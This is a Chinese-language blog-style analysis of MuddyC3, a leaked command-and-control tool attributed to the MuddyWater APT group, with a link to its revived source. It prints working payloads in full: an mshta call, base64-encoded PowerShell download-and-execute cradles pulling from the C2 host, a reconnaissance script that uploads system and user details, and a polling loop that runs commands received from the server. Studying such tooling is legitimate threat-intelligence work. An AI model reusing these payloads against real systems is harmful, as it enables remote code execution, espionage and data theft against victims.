之前在Shells.Systems看到过一篇关于C2工具MuddyC3的分析文章,抱着学习的态度,来对该工具的工作原理进行学习,并从中汲取知识,窥探一线攻击组织的攻击手法,文末将会给出C2源码,方便大家学习。作者竭力保证文章内容可靠,但对于任何错误、疏漏或不准确的内容希望能及时提出,以免误人子弟。
“污水”(MuddyWater)介绍
援引腾讯电脑管家的文章,“污水”(MuddyWater、T-APT-14) APT组织从2017年开始一直活跃,该APT组织主要针对中东国家。该APT组织显著的攻击行为特点为善于利用powershell等脚本后门,通过Powershell在内存中执行,减少新的PE文件在受害者机器落地,这种方式使的该组织的样本有着较低的检测率,另一方面也加大了安全机构的取证难度。MuddyWater多以间谍活动的动机。此前的主要受害者分布在巴基斯坦,沙特阿拉伯,阿联酋和伊拉克等也是该组织的攻击目标。从受害者所在的行业特征看,政府,电信公司和石油公司是该组织的主要目标。通过追踪该APT的行动,怀疑该APT可能来自于伊朗。
整理架构
- 工具由python2编写
- 使用powershell来进行载荷投递
- 使用hta与base64后的powershell代码来进行BypassAV
- 支持一对多服务
- 载荷第一次启动时会收集目标系统信息,并发送回服务端
- 具有代理、文件传输、屏幕截图等功能
- 整体结构清晰、工程化
其通信过程与一般的C2并无太多不同,都是通过C2生成载荷,然后在目标上执行载荷,然后通过下发命令利用powershell接口来达到自己想要的结果。
整体分析
运行主程序,下面为主程序界面
会要求你输入IP与端口与代理(可选),输入完之后,将会打印出payload与帮助列表
然后其实现方式很简单,就是接受参数,然后替换主程序中已有位置上的关键位置,并打印给用户。
下面这部分来接收用户的操作或对目标的操作。
并根据内置在cmd.py的命令,来进行对应操作:
其中的Webserver.py是来定义函数功能的程序,每个功能都定义了一个URL:
具体的url功能实现都在下面进行了定义:
包括hta文件、sct文件的内容
payload分析
下面将对payload进行分析,并尽可能的解释其与C2的通信方式。
首先我们把生成的payload拿过来。
------------------------------------------------------------ (LOW):mshta http://192.168.2.114:4444/hta
(MEDIUM):--- Powershell JOB Payload ---Start-Job -scriptblock {iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFY9bmV3LW9iamVjdCBuZXQud2ViY2xpZW50OyRWLnByb3h5PVtOZXQuV2ViUmVxdWVzdF06OkdldFN5c3RlbVdlYlByb3h5KCk7JFYuUHJveHkuQ3JlZGVudGlhbHM9W05ldC5DcmVkZW50aWFsQ2FjaGVdOjpEZWZhdWx0Q3JlZGVudGlhbHM7JFM9JFYuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjIuMTE0OjQ0NDQvZ2V0Jyk7SUVYKCRzKQ==')))}
--- Powershell New Process Payload ---Start-Process powershell -ArgumentList "iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFY9bmV3LW9iamVjdCBuZXQud2ViY2xpZW50OyRWLnByb3h5PVtOZXQuV2ViUmVxdWVzdF06OkdldFN5c3RlbVdlYlByb3h5KCk7JFYuUHJveHkuQ3JlZGVudGlhbHM9W05ldC5DcmVkZW50aWFsQ2FjaGVdOjpEZWZhdWx0Q3JlZGVudGlhbHM7JFM9JFYuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjIuMTE0OjQ0NDQvZ2V0Jyk7SUVYKCRzKQ==')))" -WindowStyle Hidden
(HIGH):--- Powershell JOB File Payload ---iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFY9bmV3LW9iamVjdCBuZXQud2ViY2xpZW50OyRWLnByb3h5PVtOZXQuV2ViUmVxdWVzdF06OkdldFN5c3RlbVdlYlByb3h5KCk7JFYuUHJveHkuQ3JlZGVudGlhbHM9W05ldC5DcmVkZW50aWFsQ2FjaGVdOjpEZWZhdWx0Q3JlZGVudGlhbHM7JFM9JFYuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjIuMTE0OjQ0NDQvaGpmJyk7SUVYKCRzKQ==')))
--- Powershell JOB File SCT Payload ---iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFY9bmV3LW9iamVjdCBuZXQud2ViY2xpZW50OyRWLnByb3h5PVtOZXQuV2ViUmVxdWVzdF06OkdldFN5c3RlbVdlYlByb3h5KCk7JFYuUHJveHkuQ3JlZGVudGlhbHM9W05ldC5DcmVkZW50aWFsQ2FjaGVdOjpEZWZhdWx0Q3JlZGVudGlhbHM7JFM9JFYuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjIuMTE0OjQ0NDQvaGpmcycpO0lFWCgkcyk=')))
--- Powershell simple payloads ---powershell -w hidden "$h = (New-Object Net.WebClient).DownloadString('http://192.168.2.114:4444/get');Invoke-Expression $h;"powershell -w hidden "IEX(New-Object Net.WebClient).DownloadString('http://192.168.2.114:4444/get');"powershell -w hidden "Invoke-Expression(New-Object Net.WebClient).DownloadString('http://192.168.2.114:4444/get');"
------------------------------------------------------------
各式各样的payload都为了一个目的-->AV绕过。核心代码为get部分。访问即可查看:
而其他的payload,经过base64解密,得到的也大体相同。
--- Powershell JOB File Payload ---
其核心还是去请求
http://192.168.2.114:4444/hjf
其内容又是一串base64的字符串
在解码:
其去访问
http://192.168.2.114:4444/getc
中间的base64解码得到:
而
--- Powershell JOB File SCT Payload ---
该payload则是去请求了sct这个路径:
其余的并无太大变化。
下面便是服务端如何来处理消息的问题了。因为一开始都是在请求
http://192.168.2.114:4444/get
该地址,这也是powershell的经典操作。从远程位置下载恶意文件到受害者主机中,然后使用诸如Start-Porcess、Invoke-Item或者Invoke-Expression(-IEX)之类的命令执行恶意文件,PowerShell也可以将远程文件直接下载到受害者主机内存中,然后从内存中执行。get的前面代码如下,来获取目标机器的基础信息并发送回info。
$hostname = $env:COMPUTERNAME;$whoami = $env:USERNAME;$arch = (Get-WmiObject Win32_OperatingSystem).OSArchitecture$os = (Get-WmiObject -class Win32_OperatingSystem).Caption "($arch)";$domain = (Get-WmiObject Win32_ComputerSystem).Domain;$IP=(gwmi -query "Select IPAddress From Win32_NetworkAdapterConfiguration Where IPEnabled = True").IPAddress[0]$random = -join ((65..90) | Get-Random -Count 5 | % {[char]$_});$agent="$random-img.jpeg"$finaldata="$os**$IP**$arch**$hostname**$domain**$whoami"$h3 = new-object net.WebClient $h3.Headers.Add("Content-Type", "application/x-www-form-urlencoded") $h=$h3.UploadString("http://192.168.2.114:4444/info/$agent",$finaldata)
然后用**分割。接下来我们来看服务端的代码:
获取信息,然后存储。
然后就是我们的命令执行功能,其功能的实现是在/cm的url下:
powershell代码如下:
while($true){$cmd = $h2.downloadString("http://192.168.2.114:4444/cm/$agent");
使用while来循环接收地址的内容。接收到之后交给Invoke-Expression 来进行执行。并将内容进行base64编码,然后上传至服务端。无命令则sleep 2
服务端进行解码,输出。
而模块加载功能是注册在re下面的
用来读取Modules/下面的文件客户端代码如下:
然后获取参数执行:
至此C2的基本功能的方法我们就可以大体了解了。
实操:
命令执行:
因为其没有module文件夹,我们需要自己新建一个,然后放入我们的ps文件即可。
github地址:https://github.com/ahmedkhlief/muddyc3-Revived
参考文章:
https://www.freebuf.com/articles/web/165061.html
https://www.ggsec.cn/APT污水攻击MuddyC3 1.1.1版本浅析.html
https://shells.systems/reviving-leaked-muddyc3-used-by-muddywater-apt/